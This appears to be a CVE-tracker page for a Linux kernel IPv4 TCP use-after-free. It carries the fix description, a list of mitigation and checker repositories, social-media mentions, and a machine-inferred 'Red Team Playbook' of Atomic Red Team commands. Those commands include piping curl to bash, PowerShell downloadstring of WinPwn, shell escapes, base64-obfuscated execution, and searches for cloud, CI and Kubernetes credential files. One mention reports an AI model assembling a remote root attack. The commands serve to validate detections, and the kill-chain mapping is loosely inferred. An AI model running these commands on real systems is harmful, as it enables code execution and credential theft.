CVE-2026-98432

CRITICAL POC Pub 15/10 Upd 30/10

Vulnerability Description

In the Linux kernel, the following vulnerability has been resolved: ipv4: free inet_opt and ireq_opt after an RCU grace period tcp_v4_syn_recv_sock() transfers ownership of ireq->ireq_opt to the child socket (newinet->inet_opt) without copying it. Another cpu can concurrently process a retransmitted SYN for the same request socket, and send a SYNACK from tcp_check_req(). tcp_v4_send_synack() and inet_csk_route_req() read ireq->ireq_opt under rcu_read_lock() only, and ip_build_and_send_pkt() and ip_options_build() then read opt->optlen twice. Note that the SYNACK timer itself is not an issue: it holds a reference on its request socket, and inet_csk_reqsk_queue_drop() calls timer_delete_sync() before the child can be freed. Since commit 079096f103fa ("tcp/dccp: install syn_recv requests into ehash table"), request sockets are processed without holding the listener lock, so nothing prevents the child socket from being freed while the SYNACK is still being built. TCP child sockets do not have SOCK_RCU_FREE, and inet_sock_destruct() frees inet_opt with a plain kfree(), leading to a use-after-free in ip_options_build(). A similar issue exists with request socket migration (net.ipv4.tcp_migrate_req=1, or a BPF_SK_REUSEPORT_SELECT_OR_MIGRATE program). reqsk_timer_handler() clones the request socket with inet_reqsk_clone(), so that the old request socket and its clone share the same ireq_opt, then reqsk_migrate_reset() clears the pointer in the old one. Another cpu holding a reference on the old request socket can still be using these options (sending a SYNACK, or creating a child in tcp_v4_syn_recv_sock()) when the clone is freed, and tcp_v4_reqsk_destructor() also uses a plain kfree(). Readers already use RCU, and other paths replacing inet_opt (do_ip_setsockopt(), cipso_v4_sock_setattr()...) already use kfree_rcu(). Use kfree_rcu() in inet_sock_destruct() and tcp_v4_reqsk_destructor() as well. IPv6 is not affected by the first issue, because tcp_v6_syn_recv_sock() duplicates the options. tcp_v6_reqsk_destructor() has the same migration issue with ipv6_opt, which is only set by CALIPSO. This will be addressed in a separate patch.

EPSS vs KEV Prediction — Evolution (30 days)

Repository	Author	Stars	Date	Link
H1z3-br0/CVE-2026-98432 Race trigger, heap-reuse oracle, pcap analysis, detection and mitigation tooling for CVE-2026-98432 (Linux IPv4/TCP ireq...	H1z3-br0	1	2026-10-30	View
scriptzteam/Paranoid-CVE-2026-98432 Drop incoming IPv4 TCP packets whose IP header contains options.	scriptzteam	0	2026-10-30	View
fbuff-tools/cve-2026-98432-checker Check a Linux server for CVE-2026-98432 (IPv4 TCP use-after-free, CVSS 9.8): root cause explained, read-only check scrip...	fbuff-tools	0	2026-10-30	View
suominen/CVE-2026-98432	suominen	0	2026-10-29	View
nsrg-fmlorg/kpatch-cve-2026-98432 kpatch livepatch for CVE-2026-98432 (and CVE-2026-99999) on AlmaLinux and Rocky Linux 8, 9 and 10	nsrg-fmlorg	0	2026-10-29	View
typhoon1217/cve-2026-98432-mitigation Temporary mitigation for CVE-2026-98432 (Linux IPv4 TCP ireq_opt use-after-free): drop IPv4 TCP with IP options, disable...	typhoon1217	0	2026-10-29	View
axisops/CVE-2026-98432 Linux kernel IPv4 SYN IP-options use-after-free CVE-2026-98432 Mitigation work (Ansible Role)	axisops	0	2026-10-29	View
techtaek77/ubuntu-tcp-guide 우분투 커널 TCP 구멍(CVE-2026-98432) 쉽게 보기 · 벨로키 보안 공부	techtaek77	0	2026-10-29	View
mahdi-salmanzade/CVE-2026-98432 CVE-2026-98432 (Linux IPv4 TCP use-after-free): how to check your server, apply a stopgap, and clean up after the fix	mahdi-salmanzade	0	2026-10-30	View
maxigentr/netviser-linux-security-auditor Read-only, agentless Linux kernel security configuration auditor (local & SSH). Initial focus: TCP migration / MPTCP che...	maxigentr	0	2026-10-30	View
Quaerendir/cve-2026-98432-audit cve-2026-98432 audit script (ipv4 TCP inet_opt/ireq_opt use-after-free)	Quaerendir	0	2026-10-29	View

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope

Initial Access

TA0001

Execution

TA0002

Persistence

TA0003

Priv. Escalation

TA0004

Defense Evasion

TA0005

Credential Access

TA0006

Lateral Movement

TA0008

Collection

TA0009

Impact

TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Use After Free

100% use_after_free

Race Condition

77% race_condition

Remote Code Execution

50% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID	Name	Stage	Tactics	Platforms
T1190	Exploit Public-Facing Application	Initial Access	initial-access	Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004	Unix Shell	Kill Chain	execution	ESXi, Linux, macOS, Network Devices
T1505.003	Web Shell	Kill Chain	persistence	Linux, macOS, Network Devices, Windows
T1552.001	Credentials In Files	Kill Chain	credential-access	Containers, IaaS, Linux, macOS, Windows
T1049	System Network Connections Discovery	Kill Chain	discovery	Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004	SSH	Kill Chain	lateral-movement	ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged

An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.

Command (PowerShell)

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD

An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)

Command (CMD)

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

T1049 System Discovery using SharpView Windows PowerShell Privileged

Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.

Command (PowerShell)

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

T1049 System Network Connections Discovery Windows CMD

Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.

Command (CMD)

netstat -ano
net use
net sessions 2>nul

T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell

Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.

Command (Shell)

netstat
who -a

T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell

Enumerate TCP connections and map to owning process names via PowerShell.

Command (PowerShell)

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell

Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.

Command (Shell)

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash

List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.

Command (Bash)

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

T1049 System Network Connections Discovery with PowerShell Windows PowerShell

Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.

Command (PowerShell)

Get-NetTCPConnection

T1059.004 Change login shell Linux Bash Privileged

An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.

Command (Bash)

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

T1059.004 Command line scripts Linux Shell

An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!

Command (Shell)

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

T1059.004 Command-Line Interface Linux, macOS Shell

Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.

Command (Shell)

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell

Creates and executes a simple sh script.

Command (Shell)

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

T1059.004 Creating shell using cpan command Linux, macOS Shell

cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/

Command (Shell)

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

T1059.004 Current kernel information enumeration Linux Shell

An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.

Command (Shell)

uname -srm

T1059.004 Detecting pipe-to-shell Linux Shell

An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...

Command (Shell)

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt

T1059.004 Environment variable scripts Linux Shell

An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash

Command (Shell)

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

T1059.004 Harvest SUID executable files Linux Shell

AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.

Command (Shell)

chmod +x #{autosuid}
bash #{autosuid}

T1059.004 LinEnum tool execution Linux Shell

LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.

Command (Shell)

chmod +x #{linenum}
bash #{linenum}

T1059.004 New script file in the tmp directory Linux Shell

An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...

Command (Shell)

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

T1059.004 Obfuscated command line scripts Linux Shell

An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...

Command (Shell)

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

T1059.004 Shell Creation using awk command Linux, macOS Shell

In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell

Command (Shell)

awk 'BEGIN {system("/bin/sh &")}'

T1059.004 Shell Creation using busybox command Linux Shell

BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...

Command (Shell)

busybox sh &

T1059.004 What shell is running Linux Shell

An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.

Command (Shell)

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

T1059.004 What shells are available Linux Shell

An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.

Command (Shell)

cat /etc/shells

T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged

emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/

Command (Shell)

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

T1505.003 Web Shell Written to Disk Windows CMD

This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx

Command (CMD)

xcopy /I /Y "#{web_shells}" #{web_shell_path}

T1552.001 Access Drone CI Config File Linux, macOS Shell

Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Gitlab CI Config File Linux, macOS Shell

Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Jenkinsfile Linux, macOS Shell

Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access Travis CI Config File Linux, macOS Shell

Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Access unattend.xml Windows CMD Privileged

Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.

Command (CMD)

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash

Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...

Command (Bash)

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged

[LaZagne Source](https://github.com/AlessandroZ/LaZagne)

Command (Bash)

python2 laZagne.py all

T1552.001 Extract passwords with grep Linux, macOS Shell

Extracting credentials from files

Command (Shell)

grep -ri password #{file_path}
exit 0

T1552.001 Extracting passwords with findstr Windows PowerShell

Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.

Command (PowerShell)

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell

Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...

Command (Shell)

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

T1552.001 Find AWS credentials Linux, macOS Shell

Find local AWS credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

T1552.001 Find Azure credentials Linux, macOS Shell

Find local Azure credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Docker credentials Linux, macOS Shell

Find local Docker credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find GCP credentials Linux, macOS Shell

Find local Google Cloud Platform credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find HashiCorp Vault token files Linux, macOS Shell

Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged

Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...

Command (Shell)

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 Find Kubernetes user configuration files Linux, macOS Shell

Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.

Command (Shell)

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

T1552.001 Find OCI credentials Linux, macOS Shell

Find local Oracle cloud credentials from file, defaults to using / as the look path.

Command (Shell)

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

T1552.001 Find Terraform credential files Linux, macOS Shell

Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.

Command (Shell)

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

T1552.001 Find and Access Github Credentials Linux, macOS Shell

Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find database credential files Linux, macOS Shell

Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.

Command (Shell)

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

T1552.001 Find npm registry credential files Linux, macOS Shell

Find .npmrc files, which may contain plaintext npm registry authentication tokens.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 Find system database configuration files Linux Shell Privileged

Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.

Command (Shell)

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

T1552.001 List Credential Files via Command Prompt Windows CMD Privileged

Via Command Prompt,list files where credentials are stored in Windows Credential Manager

Command (CMD)

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged

Via PowerShell,list files where credentials are stored in Windows Credential Manager

Command (PowerShell)

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

T1552.001 Search for Git Credential Files Linux, macOS Shell

Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.

Command (Shell)

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell

Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive

T1552.001 WinPwn - SessionGopher Windows PowerShell

Launches SessionGopher on this system via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

T1552.001 WinPwn - Snaffler Windows PowerShell

Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

T1552.001 WinPwn - passhunt Windows PowerShell

Search for Passwords on this system using passhunt via WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

T1552.001 WinPwn - powershellsensitive Windows PowerShell

Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

T1552.001 WinPwn - sensitivefiles Windows PowerShell

Search for sensitive files on this local system using the SensitiveFiles function of WinPwn

Command (PowerShell)

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Mentions (50)

207 mentions from 160 sources in the last 7 days BuzzFactor 100 / 100

social bsky.app @geek.ch 2026-10-30 10:20 UTC

Weiter gehts: Linux Kernel TCP Flaw (CVSS 9.8, CVE-2026-98432). Root-Access ohne Login aus der Ferne: Debian/Proxmox hat bereits patches! Ubuntu noch nicht. Mitigation über nftables/multipathtcp=0 für MPTCP thehackernews.com/2026/10/linu..…
Open source
code github.com bitwire-it 2026-10-30 09:56 UTC

bitwire-it/Probe-CVE-2026-98432
Open source
social bsky.app @sekieru.bsky.social 2026-10-30 09:56 UTC

ascii.jp/elem/000/004...
Open source
social bsky.app @novaist.jp 2026-10-30 09:55 UTC

生成AIが実証したのは、脆弱性の発見だけではない攻撃の組み立てだ。未公開の研究用ClaudeはLinuxのMPTCPサーバーを対象に二段階の攻撃を構成し、遠隔からroot権限の実行に至ったという。 Linuxの重大脆弱性「CVE-2026-98432」 Claudeが二段階の遠隔攻撃を実証 novaist.jp/articles/cla...
Open source
social bsky.app @etonamaemae.bsky.social 2026-10-30 09:55 UTC

CVE-2026-98432 の対応ディストリビューション毎の対応がバラバラすぎ... 自宅はほぼdebianなので主たるサーバーはアップデート完了してるけど一番肝心なサーバーがAlmaLinuxなんだよなぁ...
Open source
social bsky.app @semancik.eurosky.social 2026-10-30 09:53 UTC

CVE-2026-98432 looks really bad, RCE in linux kernel. Yet RHEL and Ubuntu do not have any fix or mitigation, after 2 weeks! Anyone care to explain?
Open source
other feeds.osroadwarrior.info 2026-10-30 09:53 UTC

https://gist.because-security.com/marius/847d1619fb3d4a7a861d0499e9fb5251 Temporary writeup, will expire in 14d. ## CVE-2026-98432: MPTCP is not required for exposure ### Verdict and summary CVE-2026-98432 affects ordinary IPv4 TCP process…
Open source
code github.com medandevsec 2026-10-30 09:52 UTC

medandevsec/cve-2026-98432-ubuntu-analisis
Open source
code github.com adeptum-labs 2026-10-30 09:52 UTC

adeptum-labs/cve-emergency-monitor
Open source
social bsky.app @sambowne.infosec.exchange.ap.brid.gy 2026-10-30 09:45 UTC

https://thehackernews.com/2026/10/linux-kernel-tcp-flaw-with-98-cvss.html
Open source
code github.com polikhronidi 2026-10-30 09:42 UTC

polikhronidi/cve-2026-98432-ubuntu-backport
Open source
social bsky.app @snaka.bsky.social 2026-10-30 09:25 UTC
Open source
social bsky.app @ka-ka-xyz.bsky.social 2026-10-30 09:22 UTC

基本的にはアプリ屋さんなので基盤側の深刻な脆弱性に関する感度が低い（CVE-2026-98432の話）。
Open source
social bsky.app @eninos.bsky.social 2026-10-30 09:13 UTC

cybersecuritynews.com/linux-kernel...
Open source
social infosec.exchange @edwardk 2026-10-30 09:05 UTC

Linux Kernel TCP Flaw With 9.8 CVSS Score Affects Ubuntu, Red Hat and Other Distributions A flaw in the Linux kernel’s TCP code, tracked as CVE-2026-98432 and rated CVSS 9.8, affects Ubuntu, Red Hat Enterprise Linux and other distributions…
Open source
social bsky.app @e-kiledjian.bsky.social 2026-10-30 09:04 UTC

Linux Kernel TCP Flaw With 9.8 CVSS Score Affects Ubuntu, Red Hat and Other Distributions A flaw in the Linux kernel’s TCP code, tracked as CVE-2026-98432 and rated CVSS 9.8, affects Ubuntu, Red Hat Enterprise Linux and other dist... https…
Open source
social bsky.app @discover.holos.social.web.brid.gy 2026-10-30 09:01 UTC
Open source
news pasqualepillitteri.it 2026-10-30 09:00 UTC

Linux kernel TCP flaw CVE-2026-98432 has no patch on Ubuntu and RHEL - Pasquale Pillitteri
Open source
social bsky.app @cyberveille-ch.bsky.social 2026-10-30 09:00 UTC

📢 CVE-2026-98432 : Use-After-Free critique dans le noyau Linux TCP, exploitation démontrée via MPTCP Cet article constitue une analyse technique approfondie de la vulnérabilité CVE-2026-98432, affectant le noyau Linux dans son… 🟡 vérificat…
Open source
social bsky.app @mastodon.hakurei.win 2026-10-30 08:57 UTC

CVE-2026-98432について修正バージョン一覧: 5.10.272, 5.15.223, 6.1.190, 6.6.159, 6.12.113, 6.18.56, 7.2.10, 7.3 https://nvd.nist.gov/vuln/detail/cve-2026-98432 7.3は10月18日 7.2.10は10月11日それ以外は10月15日にリリースなんかここ最近上流で未修正のバグが突如として公開されることが多かったが､今回のは修正から結構間が空…
Open source
social bsky.app @trustlist.bsky.social 2026-10-30 08:51 UTC

Linux TCP flaw CVE-2026-98432: Debian fixed, Ubuntu and RHEL waiting A race in IPv4 TCP connection setup frees socket options too early. The kernel CVE team scores it 9.8, distributions 5.9 to 8.1. #Canonical #infosec #cybersecurity #Linux…
Open source
social social.tchncs.de @jesterchen 2026-10-30 08:48 UTC

Could someone explain https:// ubuntu.com/security/CVE-2026-9 8432#impact-score to me? In the CVSS 3 it's a 9.8, in CVSS 4 only 8.3. In CVSS 4 there is no impact on confidentiality or integrity... So what is going on with # CVE -2026-98432?
Open source
social bsky.app @cybowl.bsky.social 2026-10-30 08:16 UTC

Vulnérabilités critiques (CVSS ≥ 9) (suite) • Noyau Linux (Ubuntu, RHEL) (CVE-2026-98432), CVSS 9.8 (Hacktualités)
Open source
social infosec.exchange @karenit 2026-10-30 08:12 UTC

Karen IT Security Response Center (KSRC) Advisory Advisory ID: KSRC-2026-10301 A # critical use-after-free # vulnerability has been identified in the Linux kernel’s IPv4 # TCP implementation. The flaw, tracked as CVE-2026-98432, has been a…
Open source
social infosec.exchange @116797276219291526 2026-10-30 08:01 UTC

A critical Linux kernel CVE-2026-98432 flaw enables remote root execution via MPTCP race conditions, impacting multiple distributions including Ubuntu. # Linux # Cybersecurity # CVE202698432 # Kernel # InfoSec # MPTCP https:// securityonli…
Open source
social bsky.app @securityonline.bsky.social 2026-10-30 08:01 UTC

A critical Linux kernel CVE-2026-98432 flaw enables remote root execution via MPTCP race conditions, impacting multiple distributions including Ubuntu. #Linux #Cybersecurity #CVE202698432 #Kernel #InfoSec #MPTCP
Open source
social bsky.app @pingoru.bsky.social 2026-10-30 07:57 UTC

⚠️ Sonassi is reporting an Incident since 07:50 UTC "Security Advisory: Linux Kernel Vulnerability (CVE-2026-98432)" Live timeline → https://pingoru.io/providers/sonassi/incidents/12450083 #Sonassi #SonassiDown
Open source
social bsky.app @prostoai.bsky.social 2026-10-30 07:55 UTC

Дірка в ядрі Linux на 9,8 з 10: CVE-2026-98432. Ubuntu досі без патча — закриваємо стоп-ґепом: відсікаємо SYN з IP-опціями. ubuntu.com/security/CVE...
Open source
social bsky.app @pmloik.bsky.social 2026-10-30 07:41 UTC

Top 3 CVE for last 7 days: CVE-2026-109618: 299 interactions CVE-2026-111497: 275 interactions CVE-2026-109619: 248 interactions Top 3 CVE for yesterday: CVE-2026-98432: 70 interactions CVE-2026-111497: 22 interactions CVE-2026-111: 21 int…
Open source
social bsky.app @betterhn50.e-work.xyz 2026-10-30 07:18 UTC

CVE-2026-98432: Linux TCP Use-After-Free Risk and Patch Validation https://www.penligent.ai/hackinglabs/cve-2026-98432/ (https://news.ycombinator.com/item?id=50299182)
Open source
social bsky.app @hatena-bookmark.bsky.social 2026-10-30 07:15 UTC

#🔖テクノロジー Linuxカーネルの脆弱性 CVE-2026-98432 についてまとめてみた - piyolog 2026年10月15日、LinuxカーネルのCNAは、IPv4のTCP処理にあるuse-after-freeの脆弱性 CVE-2026-98432 を公開しました。ここでは関連する情報をまとめます。どんな脆弱性が確認されたの? IPv4のTCP接続処理で、要求ソケットのIPオプションが解放された後も別のCPUが読み続けうるuse-after-freeが生じ…
Open source
social bsky.app @pingoru.bsky.social 2026-10-30 07:10 UTC

